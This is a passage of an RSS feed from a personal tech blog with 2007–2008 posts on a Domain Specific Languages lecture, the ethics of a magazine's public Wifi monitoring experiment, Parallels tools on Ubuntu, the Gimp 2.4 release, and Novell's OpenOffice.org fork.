		<description><![CDATA[Tonight, I attended a lecture of Markus Völter (also founder of Software Engineering Radio, which I can recommend to listen to) about Domain Specific Languages. The lecture, organized by Sioux in ther &#8216;hot-or-not&#8217; series, was quite interesting. He started with an introduction on what DSL&#8217;s are and what they are not (fluent API&#8217;s or ontologies [...]]]></description>
			<content:encoded><![CDATA[<p>Tonight, I attended a lecture of <a href="http://www.voelter.de/">Markus Völter</a> (also founder of <a href="http://www.se-radio.net">Software Engineering Radio, which I can recommend to listen to) about Domain Specific Languages. The lecture, organized by </a><a href="http://www.sioux.eu">Sioux</a> in ther &#8216;hot-or-not&#8217; series, was quite interesting. He started with an introduction on what DSL&#8217;s are and what they are not (fluent API&#8217;s or ontologies are not DSL&#8217;s according to Völter). He continued with discussing various ways to implement DSL&#8217;s including using Ruby by implementing a DSL using the dynamic features of this language and Scala using a similar technique. In the second part he gave a demonstration with <a href="http://wiki.eclipse.org/Xtext">XText</a> in Eclipse, which was very impressive. In only five minutes, he developed a text DSL for describing the states of a microwave, and generated a plugin for Eclipse for this DSL, including syntax highlighting and code completion.<br />
Another demonstration involved <a href="http://www.jetbrains.com/mps/">JetBrains MPS</a>.<br />
All in all it was a interesting lecture, but sometimes it was a bit difficult to follow, especially since I&#8217;m not very experienced with DSL&#8217;s.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2008/11/12/domain-specific-languages-are-hot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ethical problems with Wifi experiment</title>
		<link>http://www.wolkje.net/2008/05/23/ethical-problems-with-wifi-experiment/</link>
		<comments>http://www.wolkje.net/2008/05/23/ethical-problems-with-wifi-experiment/#comments</comments>
		<pubDate>Fri, 23 May 2008 09:20:02 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[security Kaspersky]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=287</guid>
		<description><![CDATA[The Dutch computer magazine Computer Idee! (intended for novice computer users) is critized for an article in which they investigated the behaviour of people on public wireless networks. The editors of the magazine installed a freely accessible public Wifi network at Shiphol Airport and monitored the usage of it. Obviously, there were people using this [...]]]></description>
			<content:encoded><![CDATA[<p>The Dutch computer magazine Computer Idee! (intended for novice computer users) is critized for an article in which they investigated the behaviour of people on public wireless networks. The editors of the magazine installed a freely accessible public Wifi network at Shiphol Airport and monitored the usage of it. Obviously, there were people using this network and sending private data over it without any encryption. Now the editors of the magazine are critizied for not obeying the ethical laws common to the hacker community. Interestingly, this comment is made by Roel Schouwenberg, a researcher for Kaspersky.<br />
I don&#8217;t think I agree with Schouwenberg. Computer Idee! exposed a real problem and in my opinion this is not a ethical problem. Users of public wireless networks should be aware that their data is exposed and can be used by anyone. Obviously, it is a bit questionabel that Computer Idee! stored the private data on their systems, but I think it is strange that researchers from Kaspersky are complaining about this. I think they should be complaining about the behaviour of users, who should use encryption technologies when sending private data over a public wireless network. Never trust systems and networks you don&#8217;t control.<br />
But maybe Schouwenberg is complaining because the ignorance of users is essentially their business. If computer users were more security aware, the amount of virusses and other malware would be less, because the won&#8217;t be as succesfull as they currently are&#8230;. Making the public more aware and reducing the security risks by changing the habits of users is not in the interest of Kaspersky.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2008/05/23/ethical-problems-with-wifi-experiment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Problems with Parallels</title>
		<link>http://www.wolkje.net/2008/05/16/problems-with-parallels/</link>
		<comments>http://www.wolkje.net/2008/05/16/problems-with-parallels/#comments</comments>
		<pubDate>Fri, 16 May 2008 09:15:25 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[mac parallels vmware ubuntu8.04]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/?p=286</guid>
		<description><![CDATA[Last week, I installed Ubuntu 8.04 in a Parallels Virtual Machine on my MacBook. Today, I decided it would be nice if the Parallels tools were working, so I tried to install them. This didn&#8217;t work.
After some searching using Google, I discovered this is a known problem, and there doesn&#8217;t seem to be a solution [...]]]></description>
			<content:encoded><![CDATA[<p>Last week, I installed <a href="http://www.ubuntu.com">Ubuntu 8.04</a> in a Parallels Virtual Machine on my MacBook. Today, I decided it would be nice if the Parallels tools were working, so I tried to install them. This didn&#8217;t work.<br />
After some searching using Google, I discovered this is a known problem, and there doesn&#8217;t seem to be a solution for it yet. On a <a href="http://forum.parallels.com/showthread.php?t=19052">forum</a> there is a topic on this issue in which some complaining about this, because VMWare Fusion seems to work perfectly well with the latest Ubuntu release. There is also no comments from the Parallels developers on this issue, which is a bad thing in my opinion, because it is a serious issue. Like most Parallels users, I mainly use it to test stuff on Linux and Windows, which requires a perfect working of both platforms to make this as effortless as possible. Hopefully, this issue will be resolved quickly, because this kind of stuff makes users switch from Parallels to VMWare. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2008/05/16/problems-with-parallels/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Gimp 2.4</title>
		<link>http://www.wolkje.net/2007/10/24/the-gimp-24/</link>
		<comments>http://www.wolkje.net/2007/10/24/the-gimp-24/#comments</comments>
		<pubDate>Wed, 24 Oct 2007 11:23:14 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[Linux and OSS]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/index.php/2007/10/24/the-gimp-24/</guid>
		<description><![CDATA[The developers of the Gimp project released version 2.4 today. It seems to contain a lot of improvements, including a tool to extract foreground objects from their background (like Photoshop can already do for a very long time), full-screen editing of photo&#8217;s and improved selection tools. The looks of the application is also improved. All [...]]]></description>
			<content:encoded><![CDATA[<p>The developers of the Gimp project released version 2.4 today. It seems to contain a lot of improvements, including a tool to extract foreground objects from their background (like Photoshop can already do for a very long time), full-screen editing of photo&#8217;s and improved selection tools. The looks of the application is also improved. All in all it seems like a very big improvement over the previous Gimp version and I think it is a little bit more capable in competing with Photoshop, especially since the program now also includes support for color management and color profiles, which was also a standard complaint when people suggested Gimp as a Photoshop alternative. While releasing the 2.4 version of the Gimp, the web developers of the project also updated the website giving it a new look. Also a big improvement over the previous look in my opinion!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2007/10/24/the-gimp-24/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hello from Eindhoven!</title>
		<link>http://www.wolkje.net/2007/10/08/hello-from-eindhoven/</link>
		<comments>http://www.wolkje.net/2007/10/08/hello-from-eindhoven/#comments</comments>
		<pubDate>Mon, 08 Oct 2007 08:55:38 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Computers]]></category>
		<category><![CDATA[English]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Webdevelopment]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/index.php/2007/10/08/hello-from-eindhoven/</guid>
		<description><![CDATA[&#8216;Hello from Seattle&#8217; is  Microsoft&#8217;s alternative on the Zune to the &#8216;Designed by Apple in California&#8217; that is printed on the packaging of Apple products. I think it is a bit of sad in a way an indicator that Microsoft is actually losing its leading position on the IT market. I don&#8217;t think it [...]]]></description>
			<content:encoded><![CDATA[<p>&#8216;Hello from Seattle&#8217; is  <a href="http://www.joelonsoftware.com/items/2007/10/05.html">Microsoft&#8217;s alternative</a> on the Zune to the &#8216;Designed by Apple in California&#8217; that is printed on the packaging of Apple products. I think it is a bit of sad in a way an indicator that Microsoft is actually losing its leading position on the IT market. I don&#8217;t think it is a very good sign that you have to imitate (or react, depending on your view) this kind of gimmicks of the competitor. </p>
<p>Last weekend was quite busy. We went to the <a href="http://www.efteling.com/">Efteling</a> because the employer of my girlfriend was having a family day there. It was very nice, especially because the weather was exeptional good for this time of the year.</p>
<p>I also read today about a new <a href="http://www.phoronix.com/scan.php?page=article&#038;item=869&#038;num=1">mainbord from ASUS</a> which incorporates a embedded Linux installation for configuring the system and also provides some functionality, such as Skype. I think it is a nice idea, but unfortunately, it is a little expensive with a price of 360 dollars. You can buy a complete system for that money.</p>
<p><a href="http://www.rikkertkoppes.com/thoughts/wf2/">Rikkert Koppes</a> has created a library which enables some Web Forms 2.0 elements for existing browsers. Not all additions are implemented and some parts, like css pseudo classes, work a little different than in it will be in the &#8216;real&#8217; WF2 implementtions, but it is a very nice start and I think it can definitely be useful in web applications (especially the various date controls).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2007/10/08/hello-from-eindhoven/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Novell creates OpenOffice.org fork</title>
		<link>http://www.wolkje.net/2007/10/05/novell-creates-openofficeorg-fork/</link>
		<comments>http://www.wolkje.net/2007/10/05/novell-creates-openofficeorg-fork/#comments</comments>
		<pubDate>Fri, 05 Oct 2007 09:15:23 +0000</pubDate>
		<dc:creator>Martin Sturm</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[Linux and OSS]]></category>
		<category><![CDATA[OpenOffice.org]]></category>
		<category><![CDATA[Opinion]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.wolkje.net/index.php/2007/10/05/novell-creates-openofficeorg-fork/</guid>
		<description><![CDATA[It seems that Novell created a fork of OpenOffice.org. The cause of this action is the fact that the Sun Microsystems currently controls the entire development process of OpenOffice.org and requires contributers to transfer code ownership to Sun. Some of them, for example the creator of a linear solver for OO.o Calc refuses to do [...]]]></description>
			<content:encoded><![CDATA[<p>It seems that Novell <a href="http://rss.slashdot.org/~r/Slashdot/slashdot/~3/164774436/article.pl">created a fork</a> of OpenOffice.org. The cause of this action is the fact that the Sun Microsystems currently controls the entire development process of OpenOffice.org and requires contributers to transfer code ownership to Sun. Some of them, for example the creator of a linear solver for OO.o Calc refuses to do so. Novell now provides a version of OO.o which incorporate these patches. I&#8217;m not sure if this will benefit the development of OpenOffice.org in a significant and positive way. It is a shame that Sun is making all key decisions with regard to the future of OpenOffice.org and as such preventing the developer community introducing novel ideas.<br />
I still think that OO.o is missing an opportunity by effectively building an MS Office clone instead of a Office suite which implement the same functionality in a better (or at least different) way.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wolkje.net/2007/10/05/novell-creates-openofficeorg-fork/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
